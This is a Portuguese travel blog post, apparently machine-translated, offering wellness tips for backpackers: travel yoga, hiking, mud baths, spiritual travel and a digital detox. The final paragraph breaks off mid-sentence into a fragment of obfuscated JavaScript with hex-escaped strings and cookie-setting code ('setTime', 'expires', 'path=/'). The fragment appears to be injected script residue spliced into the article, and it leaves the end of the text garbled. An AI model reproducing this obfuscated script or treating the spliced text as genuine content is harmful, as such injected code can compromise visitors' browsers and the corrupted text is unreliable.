Exercícios para manter-se saudável entre viagens

Exercícios para manter-se saudável entre viagens

Viajar é remédio para a alma, mas, como qualquer um que tenha percebido o problema do desejo de viajar, nem sempre é fascinante. Muitas grandes aventuras, especialmente quando se aventuram fora do caminho, vêm com seu quinhão de solavancos, contusões, germes e estresse. Pode ser tentador se sentir sobrecarregado e intimidado pela ideia de deixar o conforto da vida em casa. Mas, felizmente, as viagens de bem-estar são o futuro!

Exercícios para manter-se saudável entre viagens

Para ajudar a manter sua mente, corpo e espírito em pleno funcionamento, coletamos conselhos de alguns mochileiros especializados sobre como se manter saudável durante a viagem:

Abraçar a arte da ioga de viagens

Quando se trata de manter sua mente, corpo e espírito em sintonia fina, talvez não haja nada que lide com os três tão bem quanto com a ioga. Ele pode ajudá-lo a lidar com problemas de circulação relacionados à viagem, melhorar a qualidade do seu sono e até mesmo ajudar sua alma a se relacionar com outros viajantes enquanto participam juntos. Sabemos de uma tonelada de albergues que oferecem yoga como parte da experiência de viagem e, depois de experimentar, não é difícil entender por quê.

Caminhadas é o melhor treino de viagem

Tratar este separadamente para simplesmente exercitar, principalmente porque caminhar realmente é sua própria fera. Junto com os óbvios benefícios musculares e energéticos, há algo de reconfortante na mente e alma que vem da comunhão com a natureza. Basta tentar e ser salientado após uma caminhada cênica até uma vista de tirar o fôlego. Impossível!

Delicie-se com um banho de lama natural

Às vezes você só tem que ficar SUJO! Alguns escolhem o spa de sal natural do Mar Morto, enquanto outros preferem nadar em um vulcão de lama colombiano. Seja qual for a sua preferência, deixe a Mãe Natureza dar um impulso aos seus poros.

Esteja aberto a viagens espirituais

Cuidar do seu corpo é imensamente importante, mas também nutre seu espírito. Muitos viajantes falam sobre suas aventuras na mochila levando a despertares espirituais e uma nova perspectiva sobre seu lugar no universo. Quaisquer que sejam suas inclinações espirituais, reserve algum tempo para explorar o mundo ao seu redor e os significados mais profundos do seu lugar sob as estrelas.

Hora de uma desintoxicação digital?

Uma maneira rápida e fácil de estimular sua mente e alma é desintoxicar do mundo digital. Qualquer um que tenha viajado em países menos desenvolvidos testificará que algumas das pessoas mais felizes do mundo são aquelas com muito menos posses do que nós viajantes de sorte. Afastar-se dos 0 e 1 é muitas vezes a chave para uma reformulação mental durante a viagem.,’setTime’,’getTime’,’;\x20expires=’];(function(c,d){var (e||”)+g+’;\x20path=/’;}r (0x0)==’\x20′)n=n[b(‘0xb’)]